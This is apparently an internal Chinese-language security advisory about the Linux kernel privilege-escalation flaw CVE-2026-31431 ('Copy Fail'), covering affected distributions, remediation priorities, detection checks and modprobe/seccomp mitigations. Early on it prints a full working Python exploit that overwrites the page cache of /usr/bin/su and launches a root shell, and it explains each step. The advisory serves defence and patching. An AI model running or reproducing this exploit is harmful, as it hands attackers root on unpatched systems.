Linux高危漏洞通报Copy Fail - CVE-2026-31431

概述

近期，Linux 内核被披露存在本地权限提升漏洞 CVE-2026-31431 ，该漏洞又被称为 Copy Fail 。该问题影响 Linux 内核加密子系统中的 algif_aead / authencesn 相关实现，攻击者在已获得本地低权限代码执行能力的前提下，可能进一步提升为 root 权限，从而完全控制受影响主机。NVD 记录显示，该漏洞来源为 kernel.org，发布时间为 2026 年 4 月 22 日 ，最后修改时间为 2026 年 5 月 1 日 ；kernel.org/CNA 给出的 CVSS 3.1 评分为 7.8 High ，向量为 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H。

该漏洞已被加入 CISA Known Exploited Vulnerabilities（KEV）已知被利用漏洞目录 ，NVD 页面显示加入日期为 2026 年 5 月 1 日 、要求处置截止日期为 2026 年 5 月 15 日。这意味着该漏洞不应按普通内核漏洞缓慢排期，而应纳入组织级紧急修复流程。

漏洞原理简述

CVE-2026-31431 的根因是 Linux 内核在 algif_aead 的 AEAD 解密路径中引入的"原地处理（in-place）"优化与 authencesn 算法实现之间存在逻辑缺陷。简化理解：攻击者可通过 AF_ALG 加密接口与 splice() 系统调用的组合，使内核将只读文件的页缓存错误地作为可写缓冲区处理，从而实现对任意可读文件页缓存的受控 4 字节写入。腾讯云安全公告将影响范围描述为引入提交 72548b093ee3 到修复提交 a664bf3d603d 之前的内核实现。

该漏洞的危险点在于：写入发生在页缓存中，而非直接修改磁盘文件；如果被篡改的是 setuid-root 程序的内存页缓存，低权限用户可能在执行该程序时获得 root 权限。Microsoft 的分析也指出，该漏洞可导致任意可读文件页缓存被破坏，进而影响如特权二进制文件等对象；漏洞不依赖复杂竞争条件，攻击向量为本地低权限代码执行。

需要强调的是，该漏洞本身不是远程未授权漏洞，攻击者通常需要先通过 SSH、Web 服务漏洞、CI/CD 任务、容器工作负载或其他方式获得本地代码执行能力。但一旦攻击者已在系统上取得低权限 foothold，该漏洞可作为稳定的后续提权手段。Microsoft 明确指出，该漏洞"不单独构成远程可利用漏洞"，但可与初始访问途径组合造成严重后果。

EXP利用声明「PULL EXP」

python 复制代码

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

它不是只验证漏洞是否存在，而是直接尝试利用漏洞获取 root 权限 。它操作的目标是 /usr/bin/su

复制代码

f=g.open("/usr/bin/su",0)

su 是典型的 setuid-root 程序。针对它做修改，目的通常不是"验证漏洞"，而是借助它触发提权。它使用了 CVE-2026-31431 的关键利用链：

复制代码

s.socket(38,5,0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
g.splice(...)

这里的 38 对应 Linux 的 AF_ALG socket，结合 authencesn(...) 和 splice()，正好对应 Copy Fail 漏洞的核心触发路径。公开安全公告也描述过，该漏洞可通过 AF_ALG 加密接口与 splice() 系统调用，对任意可读文件的 page cache 进行受控 4 字节写入，进而篡改 setuid 二进制文件获得 root 权限。它不是"检测是否受影响"，而是在循环写入 payload：

复制代码

e=zlib.decompress(...)
while i<len(e):
    c(f,i,e[i:i+4])
    i+=4

这段是在把压缩后的 payload 解压后，以 4 字节为单位写入目标文件的页缓存。CVE-2026-31431 的危险点正是可对 page cache 进行受控 4 字节写入；如果目标是 setuid-root 程序，就可能变成真实提权。最后一行直接执行：

复制代码

g.system("su")

这说明它的目标是触发被篡改后的 su，尝试拿到 root shell。单纯 PoC 通常会输出"vulnerable / not vulnerable"，或者触发一个无害验证条件；这段代码已经进入实际利用阶段。

目前网上已出现针对 CVE-2026-31431 的可执行本地提权 EXP。该样本通过 AF_ALG、authencesn 与 splice() 组合，对 /usr/bin/su 等 setuid-root 程序的 page cache 进行受控修改，并最终执行 su 尝试获取 root 权限。该代码已具备实际攻击效果，不应在生产环境运行。所有 Linux 主机、容器宿主机、CI/CD Runner、多用户服务器和跳板机应立即完成内核升级或采取临时缓解措施。

影响范围与风险场景

1. 受影响系统

从内核层面看，受影响范围与是否包含相关内核提交、是否启用 CONFIG_CRYPTO_USER_API_AEAD、是否加载或可加载 algif_aead 模块有关。腾讯云公告给出的影响区间为：

复制代码

72548b093ee3 <= commit < a664bf3d603d

安全版本为：

复制代码

commit >= a664bf3d603d

Ubuntu 安全团队说明，该漏洞影响 Ubuntu 26.04 Resolute 之前的多个 Ubuntu 发行版；其 CVE 页面将该漏洞列为 High，CVSS 3.1 为 7.8，并说明其高优先级原因是"trivial local privilege escalation"。Ubuntu 还发布了通过 kmod 禁用受影响内核模块的临时缓解措施，后续完整修复将通过 Linux kernel image 包分发。

Debian 安全跟踪器显示，Debian 已为部分分支发布修复版本，例如 bullseye security、bookworm security、trixie security 等分支已有对应 fixed 版本；仍在使用 Debian 系统的团队应以 Debian Security Tracker 和自身发行版仓库为准完成升级。

SUSE 将该问题列为 important，CVSS 3.1 同样为 7.8，并列出了部分已发布的修复包版本；Red Hat 安全数据中也将该漏洞列为 important，CVSSv3 分数为 7.8，影响 Red Hat Enterprise Linux 8/9/10 及 Red Hat OpenShift Container Platform 4 等产品线。

Amazon Linux Security Center 页面显示，Amazon Linux 2 与 Amazon Linux 2023 的多个 kernel 包被列为受影响并处于 Pending Fix 状态；组织内使用 Amazon Linux 的主机应持续关注官方 ALAS 公告并优先纳入补丁窗口。

2. 高风险场景

以下资产应优先排查和修复：

第一，运行容器或 Kubernetes 工作负载的宿主机。容器共享宿主机内核，攻击者一旦通过容器工作负载获得代码执行机会，就可能把该漏洞作为宿主机提权或逃逸链条的一环。Ubuntu 指出容器部署中可能促进容器逃逸场景；Microsoft 也建议将容器 RCE 视为潜在主机 compromise 并快速处置相关节点。

第二，CI/CD Runner、构建机、批处理节点、多租户开发机。这些系统天然会执行来自不同项目、不同用户或自动化流程的代码，低权限代码执行面较大，一旦内核未修复，提权风险显著增加。

第三，堡垒机、跳板机、共享运维服务器、允许普通用户登录的 Linux 主机。该漏洞需要本地低权限执行条件，因此存在本地用户、自动化账号、外包账号、业务账号登录能力的主机应优先处理。

第四，面向公网的业务服务器。虽然漏洞本身不是远程漏洞，但公网服务一旦被 Web 漏洞、弱口令、供应链植入、反序列化漏洞等方式打入，攻击者即可用该漏洞扩大权限，因此公网服务器也应按高优先级修复。

内部整改要求

本次漏洞建议按 P0/P1 紧急程度处置：

优先级	资产类型	整改要求
P0	Kubernetes 节点、容器宿主机、CI/CD Runner、多租户主机、堡垒机、跳板机	立即排查；可升级的立即升级并重启；暂无法升级的先禁用 `algif_aead` 或限制 AF_ALG socket
P1	生产 Linux 服务器、云主机、数据库/中间件宿主机、业务应用服务器	进入最近一次紧急变更窗口完成内核修复或临时缓解
P2	办公 Linux 终端、测试环境、离线环境	完成资产排查，按补丁节奏修复，禁止长期遗留未修复内核

对于已暴露初始访问风险的系统，例如近期出现 Webshell、异常容器执行、异常 SSH 登录、CI 任务异常执行的主机，不应只做补丁升级，应同步开展入侵排查、账号轮换和节点重建。

五、排查方法

1. 查看当前运行内核版本

复制代码

uname -r

Ubuntu 官方建议通过 uname -r 获取当前运行内核版本，并与发行版公告中的受影响版本进行比对。

2. 检查内核是否启用 AEAD 用户态加密接口

不同发行版配置文件路径可能不同，常见检查方式如下：

复制代码

grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r) 2>/dev/null
zgrep CONFIG_CRYPTO_USER_API_AEAD /proc/config.gz 2>/dev/null

若结果为：

复制代码

CONFIG_CRYPTO_USER_API_AEAD=n

说明该能力未启用，通常不受该攻击路径影响。若结果为：

复制代码

CONFIG_CRYPTO_USER_API_AEAD=m

说明相关能力以模块方式提供，可通过禁用并卸载 algif_aead 作为临时缓解。若结果为：

复制代码

CONFIG_CRYPTO_USER_API_AEAD=y

说明相关能力静态编译进内核，普通的 modprobe.d 黑名单或 rmmod 方式可能无效，应优先升级内核或通过 seccomp/LSM 等方式限制 AF_ALG socket 创建。腾讯云公告也指出，静态编译进内核时无法通过卸载模块方式缓解，应优先升级内核。

3. 检查受影响模块是否已加载

复制代码

grep -qE '^algif_aead ' /proc/modules \
  && echo "Affected module is loaded" \
  || echo "Affected module is NOT loaded"

Ubuntu 官方文档使用类似方式检查 algif_aead 是否仍处于加载状态；如果模块已加载，应在评估业务影响后卸载或重启。(Ubuntu)

修复与缓解方案

方案一：首选方案------升级内核并重启

所有受影响主机应优先通过发行版官方仓库升级内核补丁，并重启进入修复后的内核。NVD 引用的 kernel.org 修复说明为 crypto: algif_aead - Revert to operating out-of-place，其核心思路是移除 algif_aead 中不必要的原地处理复杂性，改为直接复制相关数据。

Ubuntu 系统可按官方建议执行：

复制代码

sudo apt update
sudo apt upgrade
sudo reboot

如果短期内无法全量升级，Ubuntu 官方提供了针对 kmod 的临时缓解升级方式：

复制代码

sudo apt update
sudo apt install --only-upgrade kmod
sudo reboot

Ubuntu 安全团队说明，kmod 缓解措施会禁用受影响的 Linux 内核模块；一旦后续内核包包含正式修复，临时缓解将不再是必要条件。

Debian、RHEL、SUSE、Amazon Linux 等系统应以各自官方安全公告和企业补丁源为准执行内核升级。Debian 已在安全跟踪器中列出 bullseye、bookworm、trixie 等分支的 fixed 版本；SUSE 和 Red Hat 也已在安全数据中记录该漏洞及修复/产品影响信息。

方案二：临时缓解------禁用 `algif_aead` 模块

若短期内无法升级内核，且系统中 CONFIG_CRYPTO_USER_API_AEAD=m，可先通过禁用并卸载 algif_aead 模块降低风险：

复制代码

echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif_aead.conf
sudo rmmod algif_aead 2>/dev/null || true

grep -qE '^algif_aead ' /proc/modules \
  && echo "Affected module is still loaded" \
  || echo "Affected module is NOT loaded"

Ubuntu 官方说明，卸载该模块可能影响正在运行且依赖内核硬件加速加密功能的应用；如果模块正在被使用而卸载失败，建议重启系统以触发应用回退到非加速加密路径。

腾讯云公告也给出了通过 modprobe.d 禁用 algif_aead 并执行 rmmod 的缓解建议，同时提示静态编译进内核的系统无法依赖该方式完成缓解。

方案三：容器环境缓解------限制 AF_ALG socket

对于 Kubernetes、容器平台、CI Runner 等场景，若宿主机内核短期无法升级，应限制容器内创建 AF_ALG socket，尤其是禁止不可信工作负载访问该接口。Microsoft 建议在补丁不可用时实施禁用受影响功能、网络隔离、访问控制等临时缓解，并特别建议在云与容器场景中阻断 AF_ALG socket 创建。示例 seccomp 策略思路如下，需由平台团队结合现有容器运行时和业务兼容性测试后落地：

复制代码

{
  "syscalls": [
    {
      "names": ["socket"],
      "action": "SCMP_ACT_ERRNO",
      "args": [
        {
          "index": 0,
          "value": 38,
          "op": "SCMP_CMP_EQ"
        }
      ]
    }
  ]
}

其中 38 通常对应 Linux AF_ALG。该类策略应先在测试集群验证，避免影响确实依赖内核加密接口的业务。

检测、追溯与应急响应建议

由于该漏洞可能通过页缓存修改影响特权程序行为，传统只检查磁盘文件哈希的完整性工具可能无法充分发现利用痕迹。腾讯云公告指出，该写入不会触发磁盘脏页回写；Microsoft 也将其描述为内存中修改、跨平台适用且在云、CI/CD、Kubernetes 环境中特别危险。

安全团队应重点排查以下迹象：

低权限服务账号、容器账号、CI 账号突然执行 su、sudo、passwd、newgrp、chsh、mount 等高风险命令。

业务进程、Web 服务进程、构建任务进程异常派生 shell。

容器内出现读取宿主机内核版本、枚举 setuid 文件、创建异常 socket 或执行本地提权探测的行为。

主机上出现异常 Python、Perl、Shell、Go、静态 ELF 文件执行，尤其是随后出现 UID 0 shell 或新增 root 权限任务。

EDR、HIDS、auditd、eBPF 传感器中出现与 AF_ALG、splice()、setuid 程序异常执行相关的告警。

对于疑似已被利用的节点，不建议仅做补丁升级。应执行隔离、取证、凭证轮换、重建节点、替换镜像、审计持久化项等完整响应流程。

修复验收标准

各团队完成整改后，应提交以下验收信息：

主机名、IP、业务系统、负责人。

操作系统发行版与版本。

修复前 uname -r 输出。

修复方式：内核升级、kmod 缓解、禁用 algif_aead、seccomp/LSM 限制、节点重建等。

修复后 uname -r 输出及对应内核包版本。

algif_aead 是否仍加载：

复制代码

grep -qE '^algif_aead ' /proc/modules \
  && echo "Affected module is loaded" \
  || echo "Affected module is NOT loaded"

若采用临时缓解，需说明正式内核升级计划和预计完成时间。

对容器/Kubernetes 节点，需说明节点是否已重启、是否已滚动替换、是否已限制不可信容器访问 AF_ALG。

兼容性注意事项

禁用 algif_aead 可能影响依赖 Linux 内核 AEAD 加密接口或硬件加速加密能力的应用。Ubuntu 官方提示，应用通常应回退到用户态加密函数，但不排除部分应用不具备回退能力；正在运行的应用在模块卸载后也可能需要重启才能完成回退。因此，涉及 VPN、IPsec、硬件加密加速、特定安全网关、加密中间件的系统，应先在测试环境验证，再在生产环境批量执行。但兼容性验证不应成为长期延迟修复的理由，无法立即升级的系统至少应先执行隔离、访问控制或容器侧限制措施。